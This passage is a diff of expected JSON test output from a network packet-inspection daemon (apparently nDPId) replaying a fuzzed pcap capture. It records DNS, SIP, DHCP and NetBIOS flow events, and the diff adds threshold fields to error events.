type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470802178510,"packet_id":520,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2167,"global_ts_usec":1120470802178510} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":520,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2167,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470800175618,"pkt":"ADBUADRWAODtAW69CHdFAABIa6YAAIARS6vAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEXyVzAANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":3,"flow_src_last_pkt_time":1120470806184239,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470806184239,"pkt":"ADBUADRWAODtAW69CABFAABIa6cAAIARS6rAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":522,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":200,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470814186350,"flow_src_last_pkt_time":1120470814186350,"flow_dst_last_pkt_time":1120470814186350,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470814186350,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2799,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1508,7 +1508,7 @@ 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":3,"flow_src_last_pkt_time":1120470817390327,"flow_dst_last_pkt_time":1120470814334275,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470817390327,"pkt":"ADBUADRWAODtAW69CABFAABIa6wAAIARS6XAqAECwKgBAQrwADUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":530,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":203,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470819393226,"flow_src_last_pkt_time":1120470819393226,"flow_dst_last_pkt_time":1120470819393226,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":9,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":9,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":9,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470819393226,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":21,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_src_last_pkt_time":1120470819393226,"flow_dst_last_pkt_time":1120470819393226,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":17,"thread_ts_usec":1120470819393226,"pkt":"ADBUADRWAODtAW69CABFAAAlcwAAAIARS6TAqAECwKgBAQrwABUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3libXJjaXR5AmRrAAAhAAE="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":531,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470823399176} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470823399176,"packet_id":531,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":9587,"global_ts_usec":1120470823399176} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":531,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470819393226,"pkt":"ADBUADRWAODtAW69JXMAAABIa64AAIARS6PAqAECwKgBAQrwADUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00738{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470187656855,"flow_src_last_pkt_time":1120470187656855,"flow_dst_last_pkt_time":1120470440137922,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":71,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":71,"flow_dst_max_l4_payload_len":52,"flow_src_tot_l4_payload_len":71,"flow_dst_tot_l4_payload_len":52,"midstream":0,"thread_ts_usec":1120470819393226,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":37,"flow_datalink":1,"flow_max_packets":3} 00918{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":188,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470717078746,"flow_src_last_pkt_time":1120470717078746,"flow_dst_last_pkt_time":1120470717080389,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":300,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":300,"flow_dst_max_l4_payload_len":548,"flow_src_tot_l4_payload_len":300,"flow_dst_tot_l4_payload_len":548,"midstream":0,"thread_ts_usec":1120470819393226,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DHCP","proto_id":"18","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -1555,7 +1555,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470848643645,"flow_src_last_pkt_time":1120470848643645,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470848643645,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_src_last_pkt_time":1120470848643645,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470848643645,"pkt":"ADBUADRWAODtAW69CABFAABIW7sAAIARS5bAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":549,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470848643645,"flow_src_last_pkt_time":1120470848643645,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470848643645,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":551,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120470848686860} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470848686860,"packet_id":551,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120470848686860} 00801{"packet_event_id":1,"packet_event_name":"packet","packet_id":551,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":382,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":382,"pkt_l4_len":0,"thread_ts_usec":1120470848682926,"pkt":"ADBUADRWAODtAW69CAA\/AAFwa7wAAIARFgHAeQEC1PIhIxPEE8QBXMMEQUNLIHNpcDowMDk3MjM5Mjg3MDQ0QHNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KRnJvbTogImFyaWsiIDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTE3NWExZGQNbENhbGwtSUQ6IDI0NDg3MzkxLTQ0OWJmMmEwQDE5Mi4xNjguMS4yDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yOjUwNjA7YnJhbmNoPXo5aEc0YktucDI0NDY2NDAyLTQ1ZGM2MWQ1MTkyLjE2OC4xLjI7cnBvcnQNClRvOiA8c2lwOjAwOTcyMzkyODcwNDRAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTBMLTA0JXMALTE3MDFiOWEwLTEzYzkyYTY3Mg0KQ1NlcTogMSBBQ0sNCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":2,"flow_src_last_pkt_time":1120470849636660,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470849636660,"pkt":"ADBUADRWAODtAW69CABFAABIa70AAIARS5TAqAECwKgBAQr0ADUANOq3JXMAAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJj6XR5AmRrAAAhAAE="} 01024{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":552,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470848643645,"flow_src_last_pkt_time":1120470849636660,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470849636660,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cyberc?ty.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -1568,9 +1568,9 @@ 00770{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":553,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470798172728,"flow_src_last_pkt_time":1120470806184239,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470849636660,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":3,"flow_src_last_pkt_time":1120470851639615,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470851639615,"pkt":"ADBUADRWAODtAW69CABFAABIa74AAIARS5PAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01025{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":553,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":210,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470848643645,"flow_src_last_pkt_time":1120470851639615,"flow_dst_last_pkt_time":1120470848643645,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470851639615,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2804,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":554,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2136,"global_ts_usec":1120470853642421} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470853642421,"packet_id":554,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2136,"global_ts_usec":1120470853642421} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":554,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2136,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470851639615,"pkt":"ADBUADRWAODtAW69CFhFAABIa78AAIARS5LAqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAET3VkcANzaXAJY3liZXJjaXR5AuRrAFchAAE="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":555,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470857648279} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470857648279,"packet_id":555,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470857648279} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":555,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470851639615,"pkt":"ADBUADRWAODtAW69CABFAABJa8QAAIARS43AqAECwKgBAQr0ADUANOq3PxkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00917{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":185,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470670573723,"flow_src_last_pkt_time":1120470670573723,"flow_dst_last_pkt_time":1120470670573723,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470851639615,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.37.115","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":556,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":211,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470865650089,"flow_src_last_pkt_time":1120470865650089,"flow_dst_last_pkt_time":1120470865650089,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470865650089,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2805,"dst_port":51,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1599,7 +1599,7 @@ 00769{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":200,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470814186350,"flow_src_last_pkt_time":1120470814186350,"flow_dst_last_pkt_time":1120470814186350,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470874723383,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2799,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00913{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":201,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470814187906,"flow_src_last_pkt_time":1120470814187906,"flow_dst_last_pkt_time":1120470814187906,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470874723383,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.119.2","src_port":53,"dst_port":2799,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00770{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":565,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":202,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470814334275,"flow_src_last_pkt_time":1120470817390327,"flow_dst_last_pkt_time":1120470814334275,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470874723383,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":568,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2056,"global_ts_usec":1120470882724943} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470882724943,"packet_id":568,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2056,"global_ts_usec":1120470882724943} 00398{"packet_event_id":1,"packet_event_name":"packet","packet_id":568,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":82,"pkt_type":2056,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":82,"pkt_l4_len":0,"thread_ts_usec":1120470877496686,"pkt":"ADBUADRWAODtAW69CAhFAABEa88AAIARS4bCqAECwKgBAQr3ADUAMHGrsxwAAAABAAAAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":569,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":214,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470882726443,"flow_src_last_pkt_time":1120470882726443,"flow_dst_last_pkt_time":1120470882726443,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470882726443,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2807,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_src_last_pkt_time":1120470882726443,"flow_dst_last_pkt_time":1120470882726443,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470882726443,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CvcAR1QnsxyAAAABAAEAAAAAASVzAAEwAzEyNwdpbi1hZGRyBGF2cGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} @@ -1621,7 +1621,7 @@ 00771{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":196,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470788806482,"flow_src_last_pkt_time":1120470788806482,"flow_dst_last_pkt_time":1120470788806482,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470885848866,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.129","src_port":2796,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01033{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":204,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470831400867,"flow_src_last_pkt_time":1120470831400867,"flow_dst_last_pkt_time":1120470831402371,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120470885848866,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2801,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00770{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":207,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470832512194,"flow_src_last_pkt_time":1120470840523569,"flow_dst_last_pkt_time":1120470832512194,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470885848866,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2802,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43392,"global_ts_usec":1120470887851669} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470887851669,"packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43392,"global_ts_usec":1120470887851669} 00404{"packet_event_id":1,"packet_event_name":"packet","packet_id":574,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":43392,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470885848866,"pkt":"ADBUADRWAODtAW69qYBFAABI\/dQAAIARS33AqAECwKgBAXP4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaWJ5AmRrAAAhAAE="} 